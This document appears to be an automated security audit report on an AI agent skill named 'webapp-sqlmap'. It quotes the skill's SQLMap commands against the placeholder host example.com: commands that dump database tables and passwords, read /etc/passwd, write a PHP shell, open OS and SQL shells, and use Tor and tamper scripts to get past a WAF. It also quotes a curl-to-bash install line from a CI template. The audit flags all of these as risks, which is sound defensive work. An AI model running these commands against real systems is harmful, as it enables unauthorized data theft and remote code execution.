Versioned security assessment

Report ID: SA-4C627518

7/6/2026, 1:39:06 AM

webapp-sqlmap security assessment v7

Skill Security Certification Report

Audit History
Audit model: codex Historical report
Skill name
webapp-sqlmap
Version
v7
Maintainer
AgentSecOps
Source
github.com/AgentSecOps/SecOpsAgentKit/tree/main/skills/offsec/webapp-sqlmap
Coverage
5 Files scanned · 1,984 Lines analyzed
Policy version
Unavailable

Highest confirmed finding severity

Critical

6 confirmed security findings require attention.

Installation context

Historical evidence

This report may not describe the currently installable artifact. Open the current Skill page for install guidance.

Open current Skill page

This report does not block or authorize the manifest or ZIP.

Most template and reference hits are documentation examples, placeholders, or Markdown artifacts and were marked false positive. Confirmed risks remain in the SQLMap guidance for data dumping, target file access, shell actions, evasion, and a CI template that pipes a remote script into bash. No prompt injection attempts were found in the reviewed files.

Report position

Historical report

Open audit history before using this report to install.

Audit attestation

Not attestable

The required immutable binding is incomplete.

Human verification

Not verified

No human verification is recorded for this report.

Coverage

5 Files scanned · 1,984 Lines analyzed

44 items shown for review

Limitations

This report does not claim runtime or sandbox execution and does not prove the absence of side effects.

Evidence chain

Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.

  1. Source

    Binding unavailable

  2. Artifact

    Identity incomplete

  3. Audit

    Complete

  4. Install contract

    Open manifest to verify

    Open manifest

Capabilities observed

Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.

Contains scripts

May execute code included with the Skill.

Observed in 2 evidence locations

Network access

May connect to external services.

Observed in 87 evidence locations

Filesystem access

May read or write local files.

Observed in 2 evidence locations

Env variables

May read values from the process environment.

Observed in 18 evidence locations

External commands

May invoke commands or programs outside the Skill.

Observed in 53 evidence locations

Capability review items (38)
Critical
SKILL.md:194
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
Critical
SKILL.md:197
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.p
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
Critical
SKILL.md:206
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-shell
The placeholder URL appears in a SQLMap command for file access or shell creation against a target. The example teaches highly invasive exploitation behavior.
High
assets/ci-config-template.yml:240
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded URL is part of a curl-to-bash install command in CI. This creates supply-chain risk if the remote script changes or is compromised.
High
SKILL.md:172
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:175
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:178
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:181
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:184
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:203
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:209
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --sql-shell
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:215
Hardcoded URL
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:227
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:230
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:233
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --random-agent
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:236
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:242
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:245
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:311
Hardcoded URL
sqlmap -u "http://example.com/login" \
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:318
Hardcoded URL
sqlmap -u "http://example.com/login" \
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:344
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" \
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:411
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:414
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:417
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --method=PUT
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
SKILL.md:242
Hardcoded IP address
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
Medium
SKILL.md:45
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:86
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:122
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:148
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:151
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-db
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:154
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:157
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:160
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --users
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:163
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --privileges
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:298
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:301
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:304
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
SKILL.md:425
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --threads=5
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.

Risk findings

Confirmed security concerns are separated from items that still need review.

Confirmed security concerns (6)

RISK-001 Critical
assets/ci-config-template.yml:240
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote install script and pipes it directly to bash. That executes mutable network content without pinning or checksum verification.
RISK-002 Critical
SKILL.md:194
System password file access
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
The skill explicitly demonstrates using SQLMap to read /etc/passwd from a target server. That is invasive file access and can expose sensitive system information.
RISK-003 Critical
SKILL.md:166-209
Offensive SQLMap Exploitation Guidance
The skill goes beyond detection and gives workflows for dumping databases, reading files, writing web files, and opening OS or SQL shells.
The cited section directly documents data extraction, /etc/passwd reads, web file writes, OS command execution, and shell access options.
RISK-004 High
SKILL.md:203
System reconnaissance
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
The line demonstrates SQLMap OS command execution against a target with whoami. This is a remote command execution impact test, not benign reconnaissance.
RISK-005 High
SKILL.md:221-245SKILL.md:406-417
Evasion and Anonymization Guidance
The skill instructs users to use tamper scripts, random agents, proxy routing, Tor, randomized delays, and method changes to bypass controls.
The cited sections are explicitly titled WAF bypass or WAF blocking solutions and list evasion-oriented SQLMap options.
RISK-006 Medium
SKILL.md:375
SQLite database file
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
The example stores a SQLMap session in a SQLite file. Such sessions can contain target URLs, requests, findings, and sensitive test evidence.

Remediation

Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.

  1. FIX-001
    Critical
    The skill includes invasive SQLMap examples for file access, file write, shell access, and broad database dumping.
    Move these examples behind explicit authorization gates, add stop conditions, and default to minimal proof-of-impact workflows.
  2. FIX-002
    Critical
    The CI template installs tfsec with curl piped directly to bash.
    Use a pinned release, package manager, checksum verification, or a verified GitHub Action instead of pipe-to-shell installation.
  3. FIX-003
    High
    The skill includes WAF bypass, Tor, random-agent, and tamper-script guidance.
    Require documented approval for evasion testing and separate defensive troubleshooting from bypass instructions.
  4. FIX-004
    Medium
    SQLMap session and output files can store sensitive target evidence.
    Document retention, encryption, redaction, and cleanup requirements for SQLMap output directories and session databases.

Expert evidence

Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.

Artifact subject

Marketplace commit
Unavailable
Content hash
Unavailable
Tree hash
Unavailable
Skill path
Unavailable
Audit payload hash
Unavailable

Analysis metadata

Audit model: codex

Analysis state: Complete

Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.

Static false positives ignored (2)
High
references/EXAMPLE.md:276
C2 keywords
- **T1041**: Exfiltration Over C2 Channel
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
references/WORKFLOW_CHECKLIST.md:193
Malware type keywords
[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
Force-confirmed blocker/high static finding; AI dismissal overridden.

Verify and export

JSON report CITATION.cff SARIF 2.1.0 Signed installation manifest

The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.

Audit attestation: not_attestable